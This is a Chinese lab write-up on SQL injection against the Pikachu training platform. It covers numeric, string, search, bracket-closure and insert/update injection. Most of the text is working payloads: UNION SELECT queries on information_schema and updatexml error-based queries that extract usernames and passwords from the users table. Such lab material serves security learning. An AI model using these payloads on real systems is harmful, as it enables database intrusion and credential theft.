目录
1.实验内容
1)数字型注入(post)
2)字符型注入(get)
3)搜索型注入
4)xx型注入
5)insert/update注入
2.实验环境
Pikachu;
Firefox 52.0.2 渗透便携版 T00LS beta8;
BurpSuite2.0.0;
phpStudy2018
3.实验结果
SQL注入漏洞形成原因:
在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。
联合注入过程:
1. 判断注入点(加入单引号'提交,若出现错误提示,则该网站存在注入漏洞)
2. 判断注入类型(数字型、字符型)
3. 判断字段数
4. 判断回显位
5. 确定数据库名
6. 确定表名
7. 确定字段名
8. 确定数据
1)数字型注入(post)
1 or 1=1#
判断字段数:
1 order by num #
num=1,2时正常,num=3时报错,即字段数为2
判断回显位
1 union select 1,2,...,num-1#
确定数据库名
1 union select 1,database()#
确定表名
1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
确定字段名
1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' #
此处确定的是表‘users’的字段名
确定数据
1 union select group_concat(username),group_concat(password) from users #
确定表‘users’的username和password字段数据
2)字符型注入(get)
1' or 1=1#
判断字段数:
lili' order by num #
num=1,2时正常,num=3时报错,即字段数为2
判断回显位
lili' union select 1,2,...,num-1#
确定数据库名
lili' union select 1,database()#
确定表名
lili' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
确定字段名
lili' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' #
此处确定的是表‘users’的字段名
确定数据
lili' union select group_concat(username),group_concat(password) from users #
确定表‘users’的username和password字段数据
3)搜索型注入
本质还是字符型注入,只是闭合不一样
输入单引号,页面返回报错信息
输入闭合信息
1%' or 1=1#
判断字段数:
lili' order by num #
num=1,2,3时正常,num=4时报错,即字段数为3
判断回显位
lili' union select 1,2,...,num-1#
确定数据库名
lili' union select 1,2,database()#
确定表名
lili' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
确定字段名
lili' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' #
此处确定的是表‘users’的字段名
确定数据
lili' union select 1,group_concat(username),group_concat(password) from users #
确定表‘users’的username和password字段数据
4)xx型注入
本质还是字符型注入,只是闭合不一样
输入单引号,页面返回报错信息
输入闭合信息
1') or 1=1#
判断字段数:
lili') order by num #
num=1,2时正常,num=3时报错,即字段数为2
判断回显位
lili') union select 1,2,...,num-1#
确定数据库名
lili') union select 1,database()#
确定表名
lili') union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
确定字段名
lili') union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' #
此处确定的是表‘users’的字段名
确定数据
lili') union select group_concat(username),group_concat(password) from users #
确定表‘users’的username和password字段数据
5)insert/update注入
insert注入
点击注册,在用户框内输入单引号,填写密码提交,页面返回报错信息
存在SQL注入漏洞,由于页面直接返回了数据库具体的报错信息,因此可以使用报错注入
确定数据库名
lili' or updatexml(1,concat(0x7e,database()),1) or'
确定表名
lili' or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1) or '
此处发现显示不全,说明报错有长度限制。
lili' or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),32,31),0x7e),1) or '
确定字段名
lili' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')),1)or'
此处确定的是表‘users’的字段名
确定数据
lili'or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,';',password)) from users),1,31),0x7e),1) or '
确定表‘users’的username和password字段数据
lili' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,';',password)) from users),32,31),0x7e),1) or '
lili' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,';',password)) from users),63,31),0x7e),1) or '
lili' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,';',password)) from users),94,31),0x7e),1) or '
update注入
注册账号后登录,点击修改个人信息,随意在任意信息后加单引号提交,页面返回报错信息
存在SQL注入漏洞,且此处同样可以使用报错注入
确定数据库名
' or updatexml(1,concat(0x7e,database()),0) or '
确定表名
' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1) #
' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),32,31),0x7e),1) #
确定字段名
' and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,31),0x7e),1) #
此处确定的是表‘users’的字段名
确定数据
' and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),1,31),0x7e),1) #
确定表‘users’的username和password字段数据
' and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),32,31),0x7e),1) #
' and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),63,31),0x7e),1) #
' and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),94,31),0x7e),1) #